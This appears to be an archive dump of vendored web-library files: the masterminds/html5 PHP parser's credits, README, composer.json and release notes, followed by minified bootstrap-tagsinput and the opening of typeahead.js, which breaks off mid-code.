vendor/masterminds/html5/CREDITS000066600000001257151150442750012455 0ustar00Matt Butcher [technosophos] <technosophos@gmail.com> (lead)
Matt Farina  [mattfarina] <matt@mattfarina.com> (lead)
Asmir Mustafic [goetas] <goetas@lignano.it> (contributor)
Edward Z. Yang [ezyang] <ezyang@mit.edu> (contributor)
Geoffrey Sneddon [gsnedders] <geoffers@gmail.com> (contributor)
Kukhar Vasily [ngreduce] <ngreduce@gmail.com> (contributor)
Rune Christensen [MrElectronic] <mrelectronic@example.com> (contributor)
Mišo Belica [miso-belica] <miso-belica@example.com> (contributor)
Asmir Mustafic [goetas] <goetas@example.com> (contributor)
KITAITI Makoto [KitaitiMakoto] <KitaitiMakoto@example.com> (contributor) 
Jacob Floyd [cognifloyd] <cognifloyd@gmail.com> (contributor)
vendor/masterminds/html5/README.md000066600000023175151150442750012717 0ustar00> # UKRAINE NEEDS YOUR HELP NOW!
>
> On 24 February 2022, Russian [President Vladimir Putin ordered an invasion of Ukraine by Russian Armed Forces](https://www.bbc.com/news/world-europe-60504334).
>
> Your support is urgently needed.
>
> - Donate to the volunteers. Here is the volunteer fund helping the Ukrainian army to provide all the necessary equipment:
>  https://bank.gov.ua/en/news/all/natsionalniy-bank-vidkriv-spetsrahunok-dlya-zboru-koshtiv-na-potrebi-armiyi or https://savelife.in.ua/en/donate/
> - Triple-check social media sources. Russian disinformation is attempting to coverup and distort the reality in Ukraine.
> - Help Ukrainian refugees who are fleeing Russian attacks and shellings: https://www.globalcitizen.org/en/content/ways-to-help-ukraine-conflict/
> -  Put pressure on your political representatives to provide help to Ukraine.
> -  Believe in the Ukrainian people, they will not surrender, they don't have another Ukraine.
>
> THANK YOU!
----

# HTML5-PHP

HTML5 is a standards-compliant HTML5 parser and writer written entirely in PHP.
It is stable and used in many production websites, and has
well over [five million downloads](https://packagist.org/packages/masterminds/html5).

HTML5 provides the following features.

- An HTML5 serializer
- Support for PHP namespaces
- Composer support
- Event-based (SAX-like) parser
- A DOM tree builder
- Interoperability with [QueryPath](https://github.com/technosophos/querypath)
- Runs on **PHP** 5.3.0 or newer

[![CI](https://github.com/Masterminds/html5-php/actions/workflows/ci.yaml/badge.svg)](https://github.com/Masterminds/html5-php/actions/workflows/ci.yaml)
[![Latest Stable Version](https://poser.pugx.org/masterminds/html5/v/stable.png)](https://packagist.org/packages/masterminds/html5)
[![Code Coverage](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master)
[![Stability: Sustained](https://masterminds.github.io/stability/sustained.svg)](https://masterminds.github.io/stability/sustained.html)

## Installation

Install HTML5-PHP using [composer](http://getcomposer.org/).

By adding the `masterminds/html5` dependency to your `composer.json` file:

```json
{
  "require" : {
    "masterminds/html5": "^2.0"
  },
}
```

By invoking require command via composer executable:

```bash
composer require masterminds/html5
```

## Basic Usage

HTML5-PHP has a high-level API and a low-level API.

Here is how you use the high-level `HTML5` library API:

```php
<?php
// Assuming you installed from Composer:
require "vendor/autoload.php";

use Masterminds\HTML5;

// An example HTML document:
$html = <<< 'HERE'
  <html>
  <head>
    <title>TEST</title>
  </head>
  <body id='foo'>
    <h1>Hello World</h1>
    <p>This is a test of the HTML5 parser.</p>
  </body>
  </html>
HERE;

// Parse the document. $dom is a DOMDocument.
$html5 = new HTML5();
$dom = $html5->loadHTML($html);

// Render it as HTML5:
print $html5->saveHTML($dom);

// Or save it to a file:
$html5->save($dom, 'out.html');
```

The `$dom` created by the parser is a full `DOMDocument` object. And the
`save()` and `saveHTML()` methods will take any DOMDocument.

### Options

It is possible to pass in an array of configuration options when loading
an HTML5 document.

```php
// An associative array of options
$options = array(
  'option_name' => 'option_value',
);

// Provide the options to the constructor
$html5 = new HTML5($options);

$dom = $html5->loadHTML($html);
```

The following options are supported:

* `encode_entities` (boolean): Indicates that the serializer should aggressively
  encode characters as entities. Without this, it only encodes the bare
  minimum.
* `disable_html_ns` (boolean): Prevents the parser from automatically
  assigning the HTML5 namespace to the DOM document. This is for
  non-namespace aware DOM tools.
* `target_document` (\DOMDocument): A DOM document that will be used as the
  destination for the parsed nodes.
* `implicit_namespaces` (array): An assoc array of namespaces that should be
  used by the parser. Name is tag prefix, value is NS URI.

## The Low-Level API

This library provides the following low-level APIs that you can use to
create more customized HTML5 tools:

- A SAX-like event-based parser that you can hook into for special kinds
of parsing.
- A flexible error-reporting mechanism that can be tuned to document
syntax checking.
- A DOM implementation that uses PHP's built-in DOM library.

The unit tests exercise each piece of the API, and every public function
is well-documented.

### Parser Design

The parser is designed as follows:

- The `Scanner` handles scanning on behalf of the parser.
- The `Tokenizer` requests data off of the scanner, parses it, clasifies
it, and sends it to an `EventHandler`. It is a *recursive descent parser.*
- The `EventHandler` receives notifications and data for each specific
semantic event that occurs during tokenization.
- The `DOMBuilder` is an `EventHandler` that listens for tokenizing
events and builds a document tree (`DOMDocument`) based on the events.

### Serializer Design

The serializer takes a data structure (the `DOMDocument`) and transforms
it into a character representation -- an HTML5 document.

The serializer is broken into three parts:

- The `OutputRules` contain the rules to turn DOM elements into strings. The
rules are an implementation of the interface `RulesInterface` allowing for
different rule sets to be used.
- The `Traverser`, which is a special-purpose tree walker. It visits
each node node in the tree and uses the `OutputRules` to transform the node
into a string.
- `HTML5` manages the `Traverser` and stores the resultant data
in the correct place.

The serializer (`save()`, `saveHTML()`) follows the
[section 8.9 of the HTML 5.0 spec](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#serializing-html-fragments).
So tags are serialized according to these rules:

- A tag with children: &lt;foo&gt;CHILDREN&lt;/foo&gt;
- A tag that cannot have content: &lt;foo&gt; (no closing tag)
- A tag that could have content, but doesn't: &lt;foo&gt;&lt;/foo&gt;

## Known Issues (Or, Things We Designed Against the Spec)

Please check the issue queue for a full list, but the following are
issues known issues that are not presently on the roadmap:

- Namespaces: HTML5 only [supports a selected list of namespaces](http://www.w3.org/TR/html5/infrastructure.html#namespaces)
  and they do not operate in the same way as XML namespaces. A `:` has no special
  meaning.
  By default the parser does not support XML style namespaces via `:`;
  to enable the XML namespaces see the  [XML Namespaces section](#xml-namespaces)
- Scripts: This parser does not contain a JavaScript or a CSS
  interpreter. While one may be supplied, not all features will be
  supported.
- Reentrance: The current parser is not re-entrant. (Thus you can't pause
  the parser to modify the HTML string mid-parse.)
- Validation: The current tree builder is **not** a validating parser.
  While it will correct some HTML, it does not check that the HTML
  conforms to the standard. (Should you wish, you can build a validating
  parser by extending DOMTree or building your own EventHandler
  implementation.)
  * There is limited support for insertion modes.
  * Some autocorrection is done automatically.
  * Per the spec, many legacy tags are admitted and correctly handled,
    even though they are technically not part of HTML5.
- Attribute names and values: Due to the implementation details of the
  PHP implementation of DOM, attribute names that do not follow the
  XML 1.0 standard are not inserted into the DOM. (Effectively, they
  are ignored.) If you've got a clever fix for this, jump in!
- Processor Instructions: The HTML5 spec does not allow processor
  instructions. We do. Since this is a server-side library, we think
  this is useful. And that means, dear reader, that in some cases you
  can parse the HTML from a mixed PHP/HTML document. This, however,
  is an incidental feature, not a core feature.
- HTML manifests: Unsupported.
- PLAINTEXT: Unsupported.
- Adoption Agency Algorithm: Not yet implemented. (8.2.5.4.7)

## XML Namespaces

To use XML style namespaces you have to configure well the main `HTML5` instance.

```php
use Masterminds\HTML5;
$html = new HTML5(array(
    "xmlNamespaces" => true
));

$dom = $html->loadHTML('<t:tag xmlns:t="http://www.example.com"/>');

$dom->documentElement->namespaceURI; // http://www.example.com

```

You can also add some default prefixes that will not require the namespace declaration,
but its elements will be namespaced.

```php
use Masterminds\HTML5;
$html = new HTML5(array(
    "implicitNamespaces"=>array(
        "t"=>"http://www.example.com"
    )
));

$dom = $html->loadHTML('<t:tag/>');

$dom->documentElement->namespaceURI; // http://www.example.com

```

## Thanks to...

The dedicated (and patient) contributors of patches small and large,
who have already made this library better.See the CREDITS file for
a list of contributors.

We owe a huge debt of gratitude to the original authors of html5lib.

While not much of the original parser remains, we learned a lot from
reading the html5lib library. And some pieces remain here. In
particular, much of the UTF-8 and Unicode handling is derived from the
html5lib project.

## License

This software is released under the MIT license. The original html5lib
library was also released under the MIT license.

See LICENSE.txt

Certain files contain copyright assertions by specific individuals
involved with html5lib. Those have been retained where appropriate.
vendor/masterminds/html5/composer.json000066600000002010151150442750014143 0ustar00{
    "name": "masterminds/html5",
    "description": "An HTML5 parser and serializer.",
    "type": "library",
    "homepage": "http://masterminds.github.io/html5-php",
    "license": "MIT",
    "keywords": ["xml", "html", "html5", "dom", "parser", "serializer", "querypath"],
    "authors": [
        {
            "name": "Matt Butcher",
            "email": "technosophos@gmail.com"
        },
        {
            "name": "Matt Farina",
            "email": "matt@mattfarina.com"
        },
        {
            "name": "Asmir Mustafic",
            "email": "goetas@gmail.com"
        }
    ],
    "require" : {
        "ext-dom": "*",
        "php" : ">=5.3.0"
    },
    "require-dev": {
        "phpunit/phpunit" : "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9"
    },
    "autoload": {
        "psr-4": {"Masterminds\\": "src"}
    },
    "autoload-dev": {
        "psr-4": {"Masterminds\\HTML5\\Tests\\": "test/HTML5"}
    },
    "extra": {
        "branch-alias": {
            "dev-master": "2.7-dev"
        }
    }
}
vendor/masterminds/html5/RELEASE.md000066600000011716151150442750013040 0ustar00# Release Notes

2.7.6  (2021-08-18)

- #218: Address comment handling issues 

2.7.5  (2021-07-01)

- #204: Travis: Enable tests on PHP 8.0 
- #207: Fix PHP 8.1 deprecations 

2.7.4  (2020-10-01)

- #191: Fix travisci build 
- #195: Add .gitattributes file with export-ignore rules 
- #194: Fix query parameter parsed as character entity

2.7.3 (2020-07-05)

- #190: mitigate cyclic reference between output rules and the traverser objects 

2.7.2 (2020-07-01)

- #187: Fixed memory leak in HTML5::saveHTML() 
- #186: Add special case for end tag </br>

2.7.1 (2020-06-14)

- #171: add PHP 7.4 job 
- #178: Prevent infinite loop on un-terminated entity declaration at EOF 

2.7.0 (2019-07-25)

- #164: Drop HHVM support
- #168: Set default encoding in the DOMDocument object

2.6.0 (2019-03-10)

- #163: Allow to pass a charset to the Scanner

2.5.0 (2018-12-27)

- #162, #161, #155, #154, #153, #151: big performance improvements
- #156: fixed typos
- #160: adopt and enforce code style
- #159: remove deprecated php unit base test case
- #150: backport changes from old master branch 

2.4.0 (2018-11-17)

- #148: Improve performance by moving sequence matching 
- #147: Improve the Tokenizer performance 
- #146: Improve performance by relying on a native string instead of InputStream 
- #144: Add DOM extension in composer.json
- #145: Add more extensions on composer.json, improve phpdocs and remove dead code 
- #143: Remove experimental comment 

2.3.1 (2018-10-18)

- #121: Audio is not a block tag (fixed by #141)
- #136: Handle illegal self-closing according to spec (fixed by #137)
- #141: Minor fixes in the README

2.3.0 (2017-09-04)

- #129: image within inline svg breaks system (fixed by #133) 
- #131: &sup2; does not work (fixed by #132)
- #134: Improve tokenizer performance by 20% (alternative version of #130 thanks to @MichaelHeerklotz)
- #135: Raw & in attributes

2.2.2 (2016-09-22)

- #116: In XML mode, tags are case sensitive
- #115: Fix PHP Notice in OutputRules
- #112: fix parsing of options of an optgroup
- #111: Adding test for the address tag

2.2.1 (2016-05-10)

- #109: Fixed issue where address tag could be written without closing tag (thanks sylus)

2.2.0 (2016-04-11)

- #105: Enable composer cache (for CI/CD)
- #100: Use mb_substitute_character inset of ini_set for environments where ini_set is disable (e.g., shared hosting)
- #98: Allow link, meta, style tags in noscript tags
- #96: Fixed xml:href on svgs that use the "use" breaking
- #94: Counting UTF8 characters performance improvement
- #93: Use newer version of coveralls package
- #90: Remove duplicate test
- #87: Allow multiple root nodes

2.1.2 (2015-06-07)
- #82: Support for PHP7
- #84: Improved boolean attribute handling

2.1.1 (2015-03-23)
- #78: Fixes bug where unmatched entity like string drops everything after &.

2.1.0 (2015-02-01)
- #74: Added `disable_html_ns` and `target_doc` dom parsing options
- Unified option names
- #73: Fixed alphabet, &szlig; now can be detected
- #75 and #76: Allow whitespace in RCDATA tags
- #77: Fixed parsing blunder for json embeds
- #72: Add options to HTML methods

2.0.2 (2014-12-17)
- #50: empty document handling
- #63: tags with strange capitalization
- #65: dashes and underscores as allowed characters in tag names
- #68: Fixed issue with non-inline elements inside inline containers

2.0.1 (2014-09-23)
- #59: Fixed issue parsing some fragments.
- #56: Incorrectly saw 0 as empty string
- Sami as new documentation generator

2.0.0 (2014-07-28)
- #53: Improved boolean attributes handling
- #52: Facebook HHVM compatibility
- #48: Adopted PSR-2 as coding standard
- #47: Moved everything to Masterminds namespace
- #45: Added custom namespaces
- #44: Added support to XML-style namespaces
- #37: Refactored HTML5 class removing static methods

1.0.5 (2014-06-10)
- #38: Set the dev-master branch as the 1.0.x branch for composer (goetas)
- #34: Tests use PSR-4 for autoloading. (goetas)
- #40, #41: Fix entity handling in RCDATA sections. (KitaitiMakoto)
- #32: Fixed issue where wharacter references were being incorrectly encoded in style tags.

1.0.4 (2014-04-29)
- #30/#31 Don't throw an exception for invalid tag names.

1.0.3 (2014-02-28)
- #23 and #29: Ignore attributes with illegal chars in name for the PHP DOM.

1.0.2 (2014-02-12)
- #23: Handle missing tag close in attribute list.
- #25: Fixed text escaping in the serializer (HTML% 8.3).
- #27: Fixed tests on Windows: changed "\n" -> PHP_EOL.
- #28: Fixed infinite loop for char "&" in unquoted attribute in parser.
- #26: Updated tag name case handling to deal with uppercase usage.
- #24: Newlines and tabs are allowed inside quoted attributes (HTML5 8.2.4).
- Fixed Travis CI testing.

1.0.1 (2013-11-07)
- CDATA encoding is improved. (Non-standard; Issue #19)
- Some parser rules were not returning the new current element. (Issue #20)
- Added, to the README, details on code test coverage and to packagist version.
- Fixed processor instructions.
- Improved test coverage and documentation coverage.

1.0.0 (2013-10-02)
- Initial release.
vendor/input-tags/tagsinput.min.js000066600000021620151150442750013303 0ustar00/*
 * bootstrap-tagsinput v0.7.1 by Tim Schlechter
 * 
 */

!function(a){"use strict";function b(b,c){this.isInit=!0,this.itemsArray=[],this.$element=a(b),this.$element.hide(),this.isSelect="SELECT"===b.tagName,this.multiple=this.isSelect&&b.hasAttribute("multiple"),this.objectItems=c&&c.itemValue,this.placeholderText=b.hasAttribute("placeholder")?this.$element.attr("placeholder"):"",this.inputSize=Math.max(1,this.placeholderText.length),this.$container=a('<div class="bootstrap-tagsinput"></div>'),this.$input=a('<input type="text" placeholder="'+this.placeholderText+'"/>').appendTo(this.$container),this.$element.before(this.$container),this.build(c),this.isInit=!1}function c(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(a){return a[c]}}}function d(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(){return c}}}function e(a){return a?i.text(a).html():""}function f(a){var b=0;if(document.selection){a.focus();var c=document.selection.createRange();c.moveStart("character",-a.value.length),b=c.text.length}else(a.selectionStart||"0"==a.selectionStart)&&(b=a.selectionStart);return b}function g(b,c){var d=!1;return a.each(c,function(a,c){if("number"==typeof c&&b.which===c)return d=!0,!1;if(b.which===c.which){var e=!c.hasOwnProperty("altKey")||b.altKey===c.altKey,f=!c.hasOwnProperty("shiftKey")||b.shiftKey===c.shiftKey,g=!c.hasOwnProperty("ctrlKey")||b.ctrlKey===c.ctrlKey;if(e&&f&&g)return d=!0,!1}}),d}var h={tagClass:function(a){return"badge"},itemValue:function(a){return a?a.toString():a},itemText:function(a){return this.itemValue(a)},itemTitle:function(a){return null},freeInput:!0,addOnBlur:!0,maxTags:void 0,maxChars:void 0,confirmKeys:[13,44],delimiter:",",delimiterRegex:null,cancelConfirmKeysOnEmpty:!1,onTagExists:function(a,b){b.hide().fadeIn()},trimValue:!1,allowDuplicates:!1};b.prototype={constructor:b,add:function(b,c,d){var f=this;if(!(f.options.maxTags&&f.itemsArray.length>=f.options.maxTags)&&(b===!1||b)){if("string"==typeof b&&f.options.trimValue&&(b=a.trim(b)),"object"==typeof b&&!f.objectItems)throw"Can't add objects when itemValue option is not set";if(!b.toString().match(/^\s*$/)){if(f.isSelect&&!f.multiple&&f.itemsArray.length>0&&f.remove(f.itemsArray[0]),"string"==typeof b&&"INPUT"===this.$element[0].tagName){var g=f.options.delimiterRegex?f.options.delimiterRegex:f.options.delimiter,h=b.split(g);if(h.length>1){for(var i=0;i<h.length;i++)this.add(h[i],!0);return void(c||f.pushVal())}}var j=f.options.itemValue(b),k=f.options.itemText(b),l=f.options.tagClass(b),m=f.options.itemTitle(b),n=a.grep(f.itemsArray,function(a){return f.options.itemValue(a)===j})[0];if(!n||f.options.allowDuplicates){if(!(f.items().toString().length+b.length+1>f.options.maxInputLength)){var o=a.Event("beforeItemAdd",{item:b,cancel:!1,options:d});if(f.$element.trigger(o),!o.cancel){f.itemsArray.push(b);var p=a('<span class="tag '+e(l)+(null!==m?'" title="'+m:"")+'">'+e(k)+'<span data-role="remove"></span></span>');p.data("item",b),f.findInputWrapper().before(p),p.after(" ");var q=a('option[value="'+encodeURIComponent(j)+'"]',f.$element).length||a('option[value="'+e(j)+'"]',f.$element).length;if(f.isSelect&&!q){var r=a("<option selected>"+e(k)+"</option>");r.data("item",b),r.attr("value",j),f.$element.append(r)}c||f.pushVal(),(f.options.maxTags===f.itemsArray.length||f.items().toString().length===f.options.maxInputLength)&&f.$container.addClass("bootstrap-tagsinput-max"),a(".typeahead, .twitter-typeahead",f.$container).length&&f.$input.typeahead("val",""),this.isInit?f.$element.trigger(a.Event("itemAddedOnInit",{item:b,options:d})):f.$element.trigger(a.Event("itemAdded",{item:b,options:d}))}}}else if(f.options.onTagExists){var s=a(".tag",f.$container).filter(function(){return a(this).data("item")===n});f.options.onTagExists(b,s)}}}},remove:function(b,c,d){var e=this;if(e.objectItems&&(b="object"==typeof b?a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==e.options.itemValue(b)}):a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==b}),b=b[b.length-1]),b){var f=a.Event("beforeItemRemove",{item:b,cancel:!1,options:d});if(e.$element.trigger(f),f.cancel)return;a(".tag",e.$container).filter(function(){return a(this).data("item")===b}).remove(),a("option",e.$element).filter(function(){return a(this).data("item")===b}).remove(),-1!==a.inArray(b,e.itemsArray)&&e.itemsArray.splice(a.inArray(b,e.itemsArray),1)}c||e.pushVal(),e.options.maxTags>e.itemsArray.length&&e.$container.removeClass("bootstrap-tagsinput-max"),e.$element.trigger(a.Event("itemRemoved",{item:b,options:d}))},removeAll:function(){var b=this;for(a(".tag",b.$container).remove(),a("option",b.$element).remove();b.itemsArray.length>0;)b.itemsArray.pop();b.pushVal()},refresh:function(){var b=this;a(".tag",b.$container).each(function(){var c=a(this),d=c.data("item"),f=b.options.itemValue(d),g=b.options.itemText(d),h=b.options.tagClass(d);if(c.attr("class",null),c.addClass("tag "+e(h)),c.contents().filter(function(){return 3==this.nodeType})[0].nodeValue=e(g),b.isSelect){var i=a("option",b.$element).filter(function(){return a(this).data("item")===d});i.attr("value",f)}})},items:function(){return this.itemsArray},pushVal:function(){var b=this,c=a.map(b.items(),function(a){return b.options.itemValue(a).toString()});b.$element.val(c,!0).trigger("change")},build:function(b){var e=this;if(e.options=a.extend({},h,b),e.objectItems&&(e.options.freeInput=!1),c(e.options,"itemValue"),c(e.options,"itemText"),d(e.options,"tagClass"),e.options.typeahead){var i=e.options.typeahead||{};d(i,"source"),e.$input.typeahead(a.extend({},i,{source:function(b,c){function d(a){for(var b=[],d=0;d<a.length;d++){var g=e.options.itemText(a[d]);f[g]=a[d],b.push(g)}c(b)}this.map={};var f=this.map,g=i.source(b);a.isFunction(g.success)?g.success(d):a.isFunction(g.then)?g.then(d):a.when(g).then(d)},updater:function(a){return e.add(this.map[a]),this.map[a]},matcher:function(a){return-1!==a.toLowerCase().indexOf(this.query.trim().toLowerCase())},sorter:function(a){return a.sort()},highlighter:function(a){var b=new RegExp("("+this.query+")","gi");return a.replace(b,"<strong>$1</strong>")}}))}if(e.options.typeaheadjs){var j=null,k={},l=e.options.typeaheadjs;a.isArray(l)?(j=l[0],k=l[1]):k=l,e.$input.typeahead(j,k).on("typeahead:selected",a.proxy(function(a,b){k.valueKey?e.add(b[k.valueKey]):e.add(b),e.$input.typeahead("val","")},e))}e.$container.on("click",a.proxy(function(a){e.$element.attr("disabled")||e.$input.removeAttr("disabled"),e.$input.focus()},e)),e.options.addOnBlur&&e.options.freeInput&&e.$input.on("focusout",a.proxy(function(b){0===a(".typeahead, .twitter-typeahead",e.$container).length&&(e.add(e.$input.val()),e.$input.val(""))},e)),e.$container.on("keydown","input",a.proxy(function(b){var c=a(b.target),d=e.findInputWrapper();if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");switch(b.which){case 8:if(0===f(c[0])){var g=d.prev();g.length&&e.remove(g.data("item"))}break;case 46:if(0===f(c[0])){var h=d.next();h.length&&e.remove(h.data("item"))}break;case 37:var i=d.prev();0===c.val().length&&i[0]&&(i.before(d),c.focus());break;case 39:var j=d.next();0===c.val().length&&j[0]&&(j.after(d),c.focus())}var k=c.val().length;Math.ceil(k/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("keypress","input",a.proxy(function(b){var c=a(b.target);if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");var d=c.val(),f=e.options.maxChars&&d.length>=e.options.maxChars;e.options.freeInput&&(g(b,e.options.confirmKeys)||f)&&(0!==d.length&&(e.add(f?d.substr(0,e.options.maxChars):d),c.val("")),e.options.cancelConfirmKeysOnEmpty===!1&&b.preventDefault());var h=c.val().length;Math.ceil(h/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("click","[data-role=remove]",a.proxy(function(b){e.$element.attr("disabled")||e.remove(a(b.target).closest(".tag").data("item"))},e)),e.options.itemValue===h.itemValue&&("INPUT"===e.$element[0].tagName?e.add(e.$element.val()):a("option",e.$element).each(function(){e.add(a(this).attr("value"),!0)}))},destroy:function(){var a=this;a.$container.off("keypress","input"),a.$container.off("click","[role=remove]"),a.$container.remove(),a.$element.removeData("tagsinput"),a.$element.show()},focus:function(){this.$input.focus()},input:function(){return this.$input},findInputWrapper:function(){for(var b=this.$input[0],c=this.$container[0];b&&b.parentNode!==c;)b=b.parentNode;return a(b)}},a.fn.tagsinput=function(c,d,e){var f=[];return this.each(function(){var g=a(this).data("tagsinput");if(g)if(c||d){if(void 0!==g[c]){if(3===g[c].length&&void 0!==e)var h=g[c](d,null,e);else var h=g[c](d);void 0!==h&&f.push(h)}}else f.push(g);else g=new b(this,c),a(this).data("tagsinput",g),f.push(g),"SELECT"===this.tagName&&a("option",a(this)).attr("selected","selected"),a(this).val(a(this).val())}),"string"==typeof c?f.length>1?f:f[0]:f},a.fn.tagsinput.Constructor=b;var i=a("<div />");a(function(){a("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput()})}(window.jQuery);vendor/input-tags/typeahead.js000066600000115505151150442750012455 0ustar00/*!
 * typeahead.js 0.11.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2015 Twitter, Inc. and other contributors; Licensed MIT
 */

!function(a,b){"function"==typeof define&&define.amd?define("bloodhound",["jquery"],function(c){return a.Bloodhound=b(c)}):"object"==typeof exports?module.exports=b(require("jquery")):a.Bloodhound=b(jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return/(msie|trident)/i.test(navigator.userAgent)?navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]:!1},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){return(d=c.call(null,e,a,b))?void 0:!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){return(d=c.call(null,e,a,b))?!1:void 0}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,0>=j?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},noop:function(){}}}(),c="0.11.1",d=function(){"use strict";function a(a){return a=b.toStr(a),a?a.split(/\s+/):[]}function c(a){return a=b.toStr(a),a?a.split(/\W+/):[]}function d(a){return function(c){return c=b.isArray(c)?c:[].slice.call(arguments,0),function(d){var e=[];return b.each(c,function(c){e=e.concat(a(b.toStr(d[c])))}),e}}}return{nonword:c,whitespace:a,obj:{nonword:d(c),whitespace:d(a)}}}(),e=function(){"use strict";function c(c){this.maxSize=b.isNumber(c)?c:100,this.reset(),this.maxSize<=0&&(this.set=this.get=a.noop)}function d(){this.head=this.tail=null}function e(a,b){this.key=a,this.val=b,this.prev=this.next=null}return b.mixin(c.prototype,{set:function(a,b){var c,d=this.list.tail;this.size>=this.maxSize&&(this.list.remove(d),delete this.hash[d.key],this.size--),(c=this.hash[a])?(c.val=b,this.list.moveToFront(c)):(c=new e(a,b),this.list.add(c),this.hash[a]=c,this.size++)},get:function(a){var b=this.hash[a];return b?(this.list.moveToFront(b),b.val):void 0},reset:function(){this.size=0,this.hash={},this.list=new d}}),b.mixin(d.prototype,{add:function(a){this.head&&(a.next=this.head,this.head.prev=a),this.head=a,this.tail=this.tail||a},remove:function(a){a.prev?a.prev.next=a.next:this.head=a.next,a.next?a.next.prev=a.prev:this.tail=a.prev},moveToFront:function(a){this.remove(a),this.add(a)}}),c}(),f=function(){"use strict";function c(a,c){this.prefix=["__",a,"__"].join(""),this.ttlKey="__ttl__",this.keyMatcher=new RegExp("^"+b.escapeRegExChars(this.prefix)),this.ls=c||h,!this.ls&&this._noop()}function d(){return(new Date).getTime()}function e(a){return JSON.stringify(b.isUndefined(a)?null:a)}function f(b){return a.parseJSON(b)}function g(a){var b,c,d=[],e=h.length;for(b=0;e>b;b++)(c=h.key(b)).match(a)&&d.push(c.replace(a,""));return d}var h;try{h=window.localStorage,h.setItem("~~~","!"),h.removeItem("~~~")}catch(i){h=null}return b.mixin(c.prototype,{_prefix:function(a){return this.prefix+a},_ttlKey:function(a){return this._prefix(a)+this.ttlKey},_noop:function(){this.get=this.set=this.remove=this.clear=this.isExpired=b.noop},_safeSet:function(a,b){try{this.ls.setItem(a,b)}catch(c){"QuotaExceededError"===c.name&&(this.clear(),this._noop())}},get:function(a){return this.isExpired(a)&&this.remove(a),f(this.ls.getItem(this._prefix(a)))},set:function(a,c,f){return b.isNumber(f)?this._safeSet(this._ttlKey(a),e(d()+f)):this.ls.removeItem(this._ttlKey(a)),this._safeSet(this._prefix(a),e(c))},remove:function(a){return this.ls.removeItem(this._ttlKey(a)),this.ls.removeItem(this._prefix(a)),this},clear:function(){var a,b=g(this.keyMatcher);for(a=b.length;a--;)this.remove(b[a]);return this},isExpired:function(a){var c=f(this.ls.getItem(this._ttlKey(a)));return b.isNumber(c)&&d()>c?!0:!1}}),c}(),g=function(){"use strict";function c(a){a=a||{},this.cancelled=!1,this.lastReq=null,this._send=a.transport,this._get=a.limiter?a.limiter(this._get):this._get,this._cache=a.cache===!1?new e(0):h}var d=0,f={},g=6,h=new e(10);return c.setMaxPendingRequests=function(a){g=a},c.resetCache=function(){h.reset()},b.mixin(c.prototype,{_fingerprint:function(b){return b=b||{},b.url+b.type+a.param(b.data||{})},_get:function(a,b){function c(a){b(null,a),k._cache.set(i,a)}function e(){b(!0)}function h(){d--,delete f[i],k.onDeckRequestArgs&&(k._get.apply(k,k.onDeckRequestArgs),k.onDeckRequestArgs=null)}var i,j,k=this;i=this._fingerprint(a),this.cancelled||i!==this.lastReq||((j=f[i])?j.done(c).fail(e):g>d?(d++,f[i]=this._send(a).done(c).fail(e).always(h)):this.onDeckRequestArgs=[].slice.call(arguments,0))},get:function(c,d){var e,f;d=d||a.noop,c=b.isString(c)?{url:c}:c||{},f=this._fingerprint(c),this.cancelled=!1,this.lastReq=f,(e=this._cache.get(f))?d(null,e):this._get(c,d)},cancel:function(){this.cancelled=!0}}),c}(),h=window.SearchIndex=function(){"use strict";function c(c){c=c||{},c.datumTokenizer&&c.queryTokenizer||a.error("datumTokenizer and queryTokenizer are both required"),this.identify=c.identify||b.stringify,this.datumTokenizer=c.datumTokenizer,this.queryTokenizer=c.queryTokenizer,this.reset()}function d(a){return a=b.filter(a,function(a){return!!a}),a=b.map(a,function(a){return a.toLowerCase()})}function e(){var a={};return a[i]=[],a[h]={},a}function f(a){for(var b={},c=[],d=0,e=a.length;e>d;d++)b[a[d]]||(b[a[d]]=!0,c.push(a[d]));return c}function g(a,b){var c=0,d=0,e=[];a=a.sort(),b=b.sort();for(var 